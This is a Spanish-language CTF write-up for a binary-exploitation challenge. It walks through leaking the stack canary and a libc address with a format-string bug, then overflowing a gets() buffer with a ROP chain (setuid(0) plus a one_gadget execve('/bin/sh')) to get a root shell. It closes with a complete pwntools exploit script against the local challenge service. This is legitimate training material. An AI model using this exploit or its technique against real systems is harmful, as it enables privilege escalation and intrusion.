dplastico

Hola acá les dejo el writeup/solución del desafío que publicamos con l4t1n HTB y Q4, El desafío consistía de una parte web, un crypto y luego este, un binario que permitía escalar a root, entregando la flag final. El binario lo pueden descargar de acá

Como dato para correr el binario remoto y escalar en sus maquinas locales, deben ejecutar como root el binario de la siguiente forma

socat tcp-listen:5555,reuseaddr,fork, exec:"./2501"

https://github.com/dplastico/desafio_2501

Luego de reconocimiento nos encontramos con un archivo llamado 2501 el cual después de analizar y previa enumeración nos damos cuenta es el mismo que esta corriendo como root en el puerto 5555

El programa simplemente pide un nombre y luego un código el cual devuelve nuestro "input"... mmm... Que podrá significar esto…

Dado que tenemos el mismo binario procedemos a analizarlo podemos ver que tiene activada las protecciones PIE, NX y CANARY (observamos algunas herramientas útiles como pwntools instaladas)

Y además es un ELF 64 bits dinámicamente “linkeado” por lo que ocupa librerías de libc

Analicemos el binario y sus funciones podemos descargarlo para mayor conveniencia luego deberemos ejecutarlo remoto (para esto ocuparé Hopper)

Observamos que lee la variable var_50 desde un input y luego la imprime!

Esto Parece un format string, probémoslo

https://es.wikipedia.org/wiki/Format_String_Attack

Efectivamente tenemos un memory leak! Antes de aprovecharnos de el sigamos revisando el binario

Vemos que la función center la cual nos lleva el flujo del binario tiene un clásico overflow via GETS

https://linux.die.net/man/3/gets

Ok, Tenemos ASLR en el sistema y el binario esta con la protección PIE por lo que debemos encontrar una forma de generar un “leak” de alguna dirección en libc, calcular el offset a la dirección base y de esta forma poder realizar un buffer overflow con ret2libc, pero dado que no tenemos una llamada a system, será mejor probar con ROP ya que el stack no es ejecutable, por lo que un shellcode no servirá pero tenemos algunos problemas, primero tenemos que ver como bypasear la protección de stack cookies, o CANARY

Acá tenemos una explicación de que es la protección CANARY Y ASLR

Para lograr esto en 32 bit podríamos intentar hacer un “brute force” a la dirección de canary, pero dado que nos encontramos en 64 bit esto no parece posible (serian mas de 16^7 direcciones, algo más de 260 millones)

Pero tenemos un format string! Será que podemos hacer un “leak” de esta dirección? Veamos que podemos ver en gdb, para eso debemos frenar la ejecución luego de ingresar nuestro bof, veamos:

Primero nos encargamos de filtrar las direcciones en un formato reconocible para eso las ponemos separadas por guiones y en formato mas legible

Veamos si alguna de estas direcciones puede servirnos, avanzamos en el programa en busca del chequeo del canary, pegamos nuestro breakpoint en la función center (con el bof) y continuamos

Haciendo un disassembly podemos ver que al registro RAX se le asigna un valor y luego se hace XOR que al compararse, si falla nos redirige a stack_chk_fail

Veamos si podemos encontrar el valor de RAX en nuestro leak luego de esta misma operación y que corresponde al valor del “leak” numero 15 después de “Hello”

Bueno y ahora? No sabemos en que offset está nuestro canary ni donde nuestra dirección de retorno, así que llego la hora de scriptear!, armemos un skeleton script en Python con pwntools ya que están en el server. Con mi config de gef creo un script fácil que ya tengo pre-seteado con el cual solo necesito crear la función exploit (mas info sobre GEF acá https://github.com/hugsy/gef)

pero creare dos funciones, primero una para calcular el offset del canary, aprovechándonos del mensaje de “stack smashing detected”:

Con esto podemos calcular el offset del canary el cual se encuentra en a 136 caracteres de input, con esto procedemos a calcular el offset a la dirección de retorno, podemos crear una pequeña función

OK con esto calculamos que la dirección de retorno se encuentra 8 bytes luego del CANARY, así que ahora ya podemos comenzar a construir la llamada a nuestra Shell. Pero tenemos PIE, como lograrlo?

Debemos calcular el offset de alguna dirección de libc, esta vez podemos ver que las primeras direcciones parecen ser de libc, por lo que veamos si se cargan en algun registro que nos permita hacer el cálculo:

Generamos un leak:

Y observamos los registros (info reg)

Vemos como el cuarto valor se asigna al registro R8, si esta dirección es de libc siempre podremos saber el offset para calcular la dirección base de libc!

Observamos la dirección de libc base (info proc map)

Excelente así que ahora podemos calcular el offset

Genial tenemos el offset para calcular libc

Ya podemos empezar a armar nuestro exploit! Tenemos varias posibilidades, pero para esta vez usare una técnica, que aprendí hace poco, Construiremos nuestro exploit de la siguiente forma

JUNK + CANARY +JUNK(hasta ret) + poprdi(en libc)+NULL(para setuid) + SETUID(en libc) + GADGET(execve(“/bin/sh”))

Para buscar un pop rdi ret usamos ropper

Para buscar setuid usamos pwntools y luego buscamos nuestro gadget, esta vez usaremos la herramienta one_gadget (vaya que es útil) para buscar un execve(“/bin/sh”)

Ahora armemos todo junto

Listo A ejecutar remoto!

Desafio concluido! espero les haya gustado :)

Exploit final:

#!/usr/bin/env python2
import sys
from pwn import *
context.update(arch="amd64", endian="little", os="linux",
               terminal=["gnome-terminal", "new window"],)
LOCAL, REMOTE = False, False
TARGET=os.path.realpath("2501")
e = ELF(TARGET)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#ejecutar python exploit.py remote (para tomar el proceso en escucha)
#la cuarta direccion que se lekea nos da un offset para calcular libc base
#>>> offset = 0x7ffff7ff2440 - 0x7ffff7a3a000
#>>> print hex(offset)
#0x5b8440
#>>> 
offset = 0x1c2500 # de R9 que parece estar en libc
#calculamos este gadget con one_gadget (vaya herramienta)
gadget = 0x4484f   #excev(/bin/sh)
setuid = l.symbols['setuid'] # no necesita explicacion
pop_rdi = 0x23a5f #pop rdi ret en libc (por que no?)

#funcion para calcular el canary... no mucho que explicar
def offset_canary(): 
    for i in range(1, 200):
        r = process([TARGET,])
        test = "aaa"
        pattern = "A" * i
        r.sendlineafter("Name: ", test)
        r.readuntil('Code:')
        r.sendline(pattern)
        response = r.recvall()
        
        if "stack smashing detected" in response:
            print "CANARY empieza en ", i
            r.close()
            break
        else:
            print "NAAAAAA siga particopando "
            r.close()

#con esta funcion descrubrimos el offset en canary + 8 bytes (cae en RSP)
def offset_ret(r):
    #r = process([TARGET,])
    test = "%lx-" * 15
    r.sendlineafter("Name: ", test)
    response = r.readuntil('Code:')
    response = response.split('-')
    canary = int(response[-2],16)
    print hex(canary)
    pattern = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIII" #encontrado 8 mas (donde empiezan las C)
    payload = "A" * 136 + p64(canary) + pattern

    r.sendline(payload)
    #resp = r.recvall()
    r.interactive()

def exploit(r):
    payload = "%lx-" * 15
    r.sendlineafter("Name: ", payload)
    response = r.readuntil('Code:')
    response = response.split('-')
    print "format strings shits : ", response
    canary = int(response[-2],16)
    print hex(canary)
    libc = int(response[3],16) - offset
    print hex(libc)
    payload = "A" * 136
    payload += p64(canary)
    payload += "B" * 8 #junk hasta ret 
    payload += p64(libc + pop_rdi)
    payload += p64(0x0)  #null para setuid
    payload += p64(libc + setuid) #si vamos a usar esta tecnica ojo con la prueba local
    payload += p64(libc + gadget) #super gadget
    r.sendline(payload)
    r.interactive()
    return

if __name__ == "__main__":
    if len(sys.argv)==2 and sys.argv[1]=="remote":
        REMOTE = True
        r = remote("127.0.0.1", 5555)
    else:
        LOCAL = True
        r = process([TARGET,])
        print "PID para debug"
    print util.proc.pidof(r) #solo para atachar a GDB soy flojo
        #pause() #ermm
    exploit(r)
    #offset_canary()
   #offset_ret(r)
    sys.exit(0)